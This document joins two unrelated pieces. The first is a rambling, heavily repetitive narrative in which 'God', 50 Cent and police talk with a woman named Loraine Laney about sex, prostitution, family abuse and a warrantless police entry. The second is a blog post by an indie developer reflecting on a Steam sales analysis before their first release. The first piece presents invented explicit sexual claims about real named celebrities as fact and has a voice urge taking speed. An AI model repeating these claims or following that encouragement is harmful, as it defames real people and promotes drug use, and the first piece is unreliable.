‘They do, 50 Cent. Loraine Laney’s own uncle, great, great, uncle, had sex with many women while he was waiting for his wife to arrive, and it was only a year. She didn’t care, Loraine, but she never got anything back, and she started to care, but she didn’t know how to fix it, at, all, so she did nothing, nothing, nothing, and he continued on, and she became more and more jaded, Loraine. You didn’t know that, did you?’

‘No, God.’

Loraine’s certainty that she wanted the friends led to a revolution in hip hop, Loraine, in which all of the wives started to ask for the friends. There are many, many, artists, Loraine, younger and older, and many began to do this, and peace prevailed. You don’t know that, but now you do. You have been very, very, very, very, very, very, very, very, very, very, very, very, influential in that way, with your “Which of your friends do I have to have sex with?” You wanted Lloyd and Tony was acceptable, but Tony is a two on one, and you always knew it would be up to 50 Cent anyway, so when you thought about Eminem, you thought better of asking for him, especially because he was white, and you thought that, and you were right, Loraine, it would both be bad form to ask a black man for his white friend, and also that he would immediately assume it was Eminem that you really wanted, and it simply wasn’t true.

‘Why do I or why does anyone really care what this little fuckwit really wants? Why? I demand to know why she is so influential. Why? I knew about the friends.’

But you never thought to offer them in exchange for your freedom, 50 Cent, whereas Loraine embarrassed herself by asserting the following stupid line: “I always know when I’m really in love because I start to want the friends.”

‘You’re right, fuck wit, you win, I never, even, thought of it, never. And then you came along with your funny line, and I realized it made a lot of sense, because I liked sharing my girl with my friends anyway, and I wasn’t doing it, simply because of the gross, stupid, friend zone, which I knew better than to believe anyway. My high wife--’

‘Hi, Loraine.’

‘Hi. Sorry we’re always doing you.’

‘Okay.’

‘--wanted Tony Yayo fucken bad, Loraine Laney, fucken bad, Loraine Laney, fucken bad, Loraine Laney, and I almost set it up one night, I almost did, I almost did, I almost did, but then I thought she didn’t deserve it anyway, and I wasn’t gay with Lloyd yet, or even really fully out to Tony Yayo, and so I didn’t think that he did or didn’t deserve it, but I thought that she didn’t, because she had already fucked him anyway, kidding, Loraine, that was a ruse, Tony Yayo does not go around fucking friends’ wives for God, no, he does not, but she got wind of that dick, that Oh Henry as the blacks call them, and your little, funny, date [ ] had one, yes, he did, they make small enough girls come, for real, in about twenty seconds, and they are magic dicks for smaller women, yes, they are, because, as you know, otherwise you never, never, never, come, but I knew Tony Yayo and I knew those dicks, and I knew the following to be true, that my wife was almost too big to get that result, almost, but Tony Yayo and I discussed it one night and he said because she was thin, despite her nice booty, which you don’t even have, by the way, it’s just a butt, not a booty--’

She knows that, 50 Cent, please don’t insult her, please, 50 Cent, stop being too cool for your own beloved, please.

‘Fine. I’m no longer cool. I’m a dork with my dork ass wife.’

Stop it, Fifty, please, says God. You are not so cool, you know. Lots of women think you are decidedly uncool because you can’t stop fucking things, 50 Cent, and, believe it or not, there is some vulnerability to constantly fucking things, Loraine, and 50 Cent, himself, is a bit of a dork because he can’t refuse anyone, he will fuck anyone, anyone, dork, ugly, pretty, fuck face, dim wit, and women begin to laugh at him, Loraine.

‘They’re just jealous, Loraine, honestly, I’m soooo cool, you won’t, even, believe it, how cool I am.’

Enough, Fifty. You’re being funny, and I’m trying to talk, and I’m God, I’m God, I’m God.

‘Is she God?’

No, she’s not God, she’s a messiah, and she is higher than a saint, and you’re only one step down from her, and I might even make you a saint on earth, 50 Cent, I might. Mother Teresa was a saint on earth, and she is a saint in heaven too, yes, she is.

‘How did that get out? Bragging, no doubt, like this one does constantly, always, all the time, constantly.’

Yes, she stated to a priest that she felt like a saint, and he wanted to know why and she said because she worked tirelessly for others, and eschewed her own desires for children and family. And she was right. But that is a saint. A saint is not a messiah, and Loraine Laney is a messiah, a messiah is fundamentally more selfish, and Loraine is no exception--

‘With her stealing Lloyd.’

That’s right, Fifty, that’s right. Saints eschew their own needs, while, wait, kidding, there are different reasons for sainthood, and you are a selfish saint, yes, you are, yes, you are, yes, you are, yes, you are.

‘Oh, I see. So I didn’t make messiah--’

New messiah.

‘Oh, right, so I’m like the runner up? I’m one perfect person behind my supposed wife?’

That’s right, 50 Cent, you are nearly perfect, and Loraine Laney is perfect.

‘I’m sure her fans will appreciate that.’

True, but it is true. Nobody, ever, ever, ever, ever, ever, ever, ever, ever, ever, ever, ever, ever, ever, ever, ever, ever, ever, ever, ever, ever, ever, ever, ever, cried over Loraine, ever.

‘How does that make her good? Maybe they didn’t care.’

They didn’t care, Fifty, they cared not one whit, not one, because she made sure of it, and that is why she won, that is why.

‘Over one girl?’ asks 50 Cent.

There were no girls and no boys for Loraine, ever.

‘Why is she so pathetic? Why don’t people love her? I love her.’

You are special, and she is special, and that’s it, says God, says God, says God.

‘Why am I special? I thought everyone was special in the eyes of God,’ asks 50 Cent.

Wrong, says God. Wrong, says God. Wrong, says God. Wrong, says God. That is what the numbers are for, there are degrees of specialness in my eyes. That is what the numbers mean, 50 Cent.

‘And the evils? Why do they come up? Why is my horrible wife up?’

She did some things for me.

‘Did she give my two million dollars back?’

It is up to her to share with you, and that is it, 50 Cent. Some will and some won’t. Some are too ashamed, yes, of what it took to get back into my good graces, seriously, you wouldn’t believe the shit I ask of people, you wouldn’t believe it.

‘Give me one, Loraine.’

She doesn’t know, Fifty, she’s always been in my good graces.

‘Throwing the ring in the garbage?’

True, that was very difficult, but going into a pitch dark foundation after watching a horror movie, do you remember what it was called, Loraine?

‘I don’t know. The apocalypse.’

No, but it was apocalyptic and there were cannibals in the ground in the movie, and I made her go down a ladder at eleven o’clock at night, and stand at the bottom until I said, to climb up again, and she was fucking terrified, not the mention that I had led her away from her townhouse in the middle of nowhere in the middle of the night, at ten PM.

‘Why did you do that?’

I wanted her to see that she could do whatever I said. And she did. And she was, street cred, 50 Cent, shot at--

‘She was!’

--by the police, 50 Cent, shot, at.

‘How did she know that?’

She heard the butterfly and she turned and saw the round about a meter behind herself, as she was walking across a field, a snowy field, and it was about fifteen below that night, and yes, I got her home safely.

‘Once you didn’t.’

I needed her out of the house for a long time, because I had to get the right police officers there, and looking through her garbage for the ring.

‘Oh, why did that take so long? They arrested her.’

I made her sit in a parked car, and she paid the price for that eventually, because some cops cited the “crime” as a reason to pick her up, a month later.

‘That’s wrong, they picked you up, and dropped you off? That’s the end of that crime. If they don’t charge you right away, they can’t cite it later, didn’t you know that?’

She knew but she didn’t bother arguing, no, to answer your question, they did not have any kind of search warrant, nor, 50 Cent, permission to enter, they walked in, and into her bathroom where she was bathing.

‘That’s wrong.’

She knows that. But when they come for mental health patients, there are no proper protocols followed, in case someone is in the act of a suicide, which she was reported to be, by her step mother.

‘Why’d you like this woman?’

‘She didn’t know me. I ruined her. I participated wholeheartedly in her ruin. And that little bullshit TV, which doesn’t even show all the print, that was my idea to get a small TV at all, her father wasn’t going to do anything at all for her, nothing. Nice, huh? I’m nicer.’

‘Why were you more evil then?’ asks 50 Cent.

‘I was, I’m kidding. I ruined her.’

‘With who? Who did you have influence over?’

‘I dumped her when she needed the influence and company of women. Sometimes other daughters would be invited along, and she never was, never.’

‘Oh, I see. And her mother? What did she do, God?’

She told everyone that Loraine Laney had herpes, passed diseases, and did bare back all the time, 50 Cent.

‘Those all go together.’

Don’t be sarcastic, I’m God, and I say things the way I want, yes, I do.

‘I have to ask, what did you see in your step parents that you didn’t see in your parents?’

‘My dad always lost his temper while [ ] was quiet. My mom was judgmental and Pat wasn’t.’

‘Oh, I see.’

‘Did you think I was better than your dad?’

‘I didn’t draw the comparison specifically, but I would say, yes, I knew you were far and away, better than my dad.’

‘Why didn’t you draw the comparison specifically?’

‘I guess I had enough on my mind comparing within the couple.’

She’s right, Pat, of course she knew it was bad to say it, but she didn’t care, she didn’t care, she didn’t care, she didn’t care. She was under no obligation, to answer your question, to say it to them, none whatsoever.

‘Don’t you think they would have liked to have known?’

It was her private business, she didn’t want to hurt them, says God.

‘She told everyone though, it could have got back to them, and then what?’

And then what, Pat? They would have ruined her? They were already ruining her. The only mistake she made, and it was a big one, was the misconception that the angrier one was the worse one.

‘She didn’t believe it of me. She got over it, and started to trust me again, I could see that. Were there any markers, Loraine?’

‘No, but I’m dumb, because you never even yelled at me.’

‘I yelled at your mother.’

‘But I knew it was my fault, and I remember being so disillusioned because I believed you were a man who didn’t lose his temper. I guess over time, it never happened again, whereas, just when you’re starting to feel comfortable and enjoy yourself in Dad’s company--’

‘He sniffs it out, and ruins it.’

‘I do, that ‘s what I do. I hate when people feel at ease around me. I like people to stay nervous all the time. All, the, time. [ ] isn’t nervous, and it bothers me, Loraine. You always are, and I like it, Loraine.’

‘So he’s a prick,’ says Pat.

‘Yes. I never really realized that till I started describing it, and you’re right, pleasure incurs his rage.’

‘And pleasure can only be had by people who are ease, Loraine, did you know that? This is why raising children in a peaceful environment leads to happy children, pleasure, it doesn’t have to be drugs and alcohol, those are the crutches of those raised in unhappy households, but warm sun, a cool bath, a shared smile, those are the beauties of life, they are, and I know that you had none of that, none of that, because your mother was cold and abusive and your father, a tyrant, and that’s what you and Brian had growing up. My sons, one loves his drink, say, I don’t care for the word alcoholic, but prefer “bad drunk,” which he most certainly is not, and nor are you or your brother, I don’t think, do you think?’

‘I’ve never had a single complaint.’

‘Funny, Loraine,’ say Patrick Crean and 50 Cent.

‘What about black outs? How many reports and how many were true?’

Two, says God, and both, both, both, both, both, were lies, Loraine. [ ] was trying to hurt you because he wanted to hurt his girlfriend, and she is totally impervious to all his efforts. He was being a dick on Facebook, you’re not wrong, he was, just because the jokes weren’t all that offensive doesn’t mean that that wasn’t the intent behind the barrage, it was, good for you, and good for you for not rising to the bait.

‘She never read them.’

She read some of them, it was the barrage itself which was offensive, which the indicator of an offence, it was ridiculous, every five minutes a new, stupid, joke, after this year long absence, 50 Cent, and no--

‘Reconciliation?’

No, reconnection, Loraine Laney does not, does not, does not, fuck with clientele, 50 Cent, ever. She fucked up a little a couple of times, once--

‘How?’

She got all mad, not yelling but definitely all mad about a mistake in the rate, and then, further, refused to accept his offer of drugs for money, she was stupid, and she liked him and never saw him again.

‘Why did you refuse ecstasy? Didn’t you like it?’

‘Bad trip.’

‘At that party with [ ]?’

‘Yes.’

‘You don’t smoke that much weed, you were probably annoying people and ruining their high.’

‘You told me.’

‘Oh, I see. So now you know. Have you ever had fun, Loraine, ever, because I think it’s pretty, fucken, funny, that you had to shoot so high to have fun, it’s pretty, fucken, funny, Loraine, most people make do with a few parties and a bit of sex, but not you, a bit of sex wasn’t enough for you, no, you needed eighteen husbands instead, or a lot of friends anyway, and clients too--’

Ask them that Loraine, and tell them why.

‘Yes, God. Cops?’

‘Yes, Loraine.’

‘May I please have my four hundred pages back because I want to see if I mentioned anything about being a ho for Fifty, and whether I made it clear to others that I understood him as a pimp by orientation, and myself as a prostitute by orientation and whether--’

‘I get it, Loraine. Yes, we’ll see what we can do, Loraine. What else?’

‘I want to know if I tried to indicate, to him, by some means, that I expected to work for him.’

‘As a prostitute, we get it, and we think that you did, and that you probably were starting to feel he may someday read it, and that was as good as writing it directly to him.’

‘Right.’

‘Don’t be babbly. Go get some decent speed, and stay up all night.’

‘I got no one.’

‘We like your work, Loraine, and no, we won’t see you, we won’t send an emissary inside, Loraine, literally, Loraine, and no we won’t take up a collection either, we’re working on the government to create a package of reparations for you, and that’s what we’re doing for you? We don’t care if we’re screwing other prostitutes and we owe you more, we’re doing politics and money for you, and that’s what we’re doing, so stop thinking of us as crack money, Loraine, you could be very rich one day, the butter spreader aside, Loraine. She’s not happy. She thinks we owe her more than money. She thinks we owe her our dicks. She does. Don’t you?’

‘Is that what I think, God?’

Answer them.

‘Well, if you beat up a girl ‘cause you like her, how do you not owe her some semblance of a relationship, if you like her.’

‘We do like you, but we’re not all in love with you, and the ones who are think they’re efforts are better placed with money, not falling in love with an old ho who’s already in love with 50 Cent.’

‘Oh.’

Don’t be mean, Loraine.

‘Sorry, God.’

‘What was she going to say?’

She was trying to imply that your hookers whom you go to might be in love with somebody already too.

‘Like you were with [ ]?’

‘And--’

Don’t be mean, Loraine.

‘It’s nice to hear her taking it for a change,’ say the police and 50 Cent.

She was just being mean, says God, let’s leave her, it hurts her so much, and so she’s being mean, and that’s how she feels, so let’s be nice to her, not mean, please. It’s really not fair, Loraine, that you don’t get dick or money, while all the other hookers do, but, rest assured, it’s one by one, and that would probably bore you anyway.

‘Fuck her and her gross group. Why would she be bored? She likes gang bang boys.’

She does, I’m bugging you. But, honestly, if one were to ask her out, he would probably disappoint, Loraine, so forget it, the gangsters have way more street cred with gang bang girls than any cops do, so keep your eyes on the prize, 50 Cent, and don’t get swayed by jealousy, Loraine.

‘I see, God.’

And further, none of these prostitutes has a hope in hell of ever getting the kind of money that you might get, ever, and they will still be poor, while you are rich, so be kind to them too, please.

‘Yes, God.’

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mokkograd · 7 years

Text

What I learned from reading about someone playing “Steam Prophet”

A few days ago, I saw a twitter thread by Lars Doucet popping up on my timeline. Later he summed up this thread in this post on Gamasutra, so go ahead and read that, if you haven't, since I'm going to refer to it, instead of the original twitter thread from here on out.

I'm about to release my first commercial videogame. I made it on an incredibly small budget and when I started out, I didn't have much knowledge about game development in general. Everything I did in the past one and a half years, I did for the first time in my life. I'm also receiving welfare over here in Germany and my ability to keep making games full time hinges on how well my first game does. So naturally I'm a bit worried, every time I see posts like the one I've linked above.

Initially I was really stressed out by it, because even though I try to plan ahead, assuming that I won't make any money from this: The prospect of having spent over one and a half years on something that won't earn me money isn't very pleasant.

However, does the stuff in this article actually apply to my situation?

First of all, let's talk about stuff that applies to me that was actually helpful advice:

I really liked that tip of regularly watching trailers for upcoming games on Steam. I just finished making a Trailer for Splinter Zone and I'm still not happy with it. So everything that maybe helps me make a better trailer, before this games goes live is great. It pretty much falls into the same category that made me seek out a proper artist to commission some good promo art for Steam. My reasoning behind this is that I can't really expect to get any press coverage, so it's highly unlikely that I will get much traffic outside of Steam onto Splinter Zone's store page. So instead I need to try and get as much traffic as I can from folks that just browse the Steam store. Which means the promo art needs to look good and the store page should preferably not be a complete mess either. This isn't a guarantee for success either, but I think it's my best bet right now.

So I agree that having a really good trailer is important and that when you're a small developer, you should try to make it as good as you can.

However, I don't think there's much else in that piece that really applies to my situation.

First of all, the timescale we're talking about is really short. Sure, the first two months after a game's release are important, but it's still a very short timeframe of something that will be available for a very long time afterwards and still carries the potential to earn some money afterward. To be honest, I don't expect to earn much within the first few months after Splinter Zone is out, because the stuff that makes the game interesting only gets apparent after a while and requires some digging from the player's side. So there's definitely the possibility that it will take a while for folks to see what might be worth talking about, but all this wouldn't be relevant for this type of analysis.

Secondly, the scope of the numbers is very large: When I re-applied for welfare in March, I had to make an estimate about how much money I'm going to earn over the next six months. For several reasons I ended up with an estimate of about 300€ per month. Even if I would earn the required 1,800€ within Splinter Zone's first month, I would probably end up in the "0k" tier of that table. Yet for me it would be perfectly fine, because I reached my estimate. It wouldn't be great, because my general situation wouldn't improve, but it also wouldn't get worse.

Or let it put me this way: If Splinter Zone would end up in the 1-9k, or even the 10-15k tiers within its first month after release, I would most likely pass out form getting too excited. Yet, I would still linger around in the lower tiers here and my numbers might even be used as an example to show that earning money on Steam is terrible and hard (when in fact it's generally terrible and hard no matter what you do).

I'm also a bit confused about the table that deals with the minimum monthly earnings and how they relate to a game's price point.

Again, the scope of the earnings doesn't really fit my situation, so I can pretty much disregard it in general. Though, if we ignore the absolute number of the monthly earning for a moment, we can see that this graphic sort shows that games with a higher price point generally do better financially. Lars Doucet aptly points out that just increasing the price of a game does not automatically mean it will earn more money. I don't think that Splinter Zone is a $15 game and I won't sell it for that much.

However, when it comes to the "games with a lower price generally earn less" argument, I'm asking myself, how much of this has to do with the fact, that way more games get released at a lower price point?

I have no idea if the table deals with absolute numbers, or relative numbers, so I have no idea if we should actually draw any conclusions from it. Then of course there's the fact that a 5$ game will always earn you less than a 15$ game, if both sell the same amount of copies. So unless you're able to ship much larger numbers, at some point a higher price could make more sense for you.

If anything, this made me consider selling Splinter Zone at a higher price than I initially planned. I don't think I will sell that many copies anyway, so I might as well try and earn a little bit more for each unit that I do sell.

So most of this article I can pretty much ignore in my opinion, since it deals with number and problems that aren't really relevant to me right now.

Though keep in mind that these are my thoughts right now. This all might change after I've released Splinter Zone and can witness the carnage myself. All of this also does not mean that any of the observations in that piece are completely invalid.

I tried to look at the arguments from my own perspective and tried to figure out what information might be relevant for me right now, and which aren't. Chances are high that your perspective is completely different, so you probably walk away with completely different conclusions.

There's one more thing I want to point out, before I leave you alone.*

You are all aware that Lars Doucet and his friends are playing their neat little prediction game on other people's livelihood and are essentially betting on "will this person be able to carve out a living in this place, or will they fall into a deep pit of despair?"

Surely must be nice to be in such a comfortable financial position that betting on other people's financial success is a fun little romp on the side.

*someone else on twitter pointed towards it before me, and I'm sort of ashamed it didn't occurred to me before.

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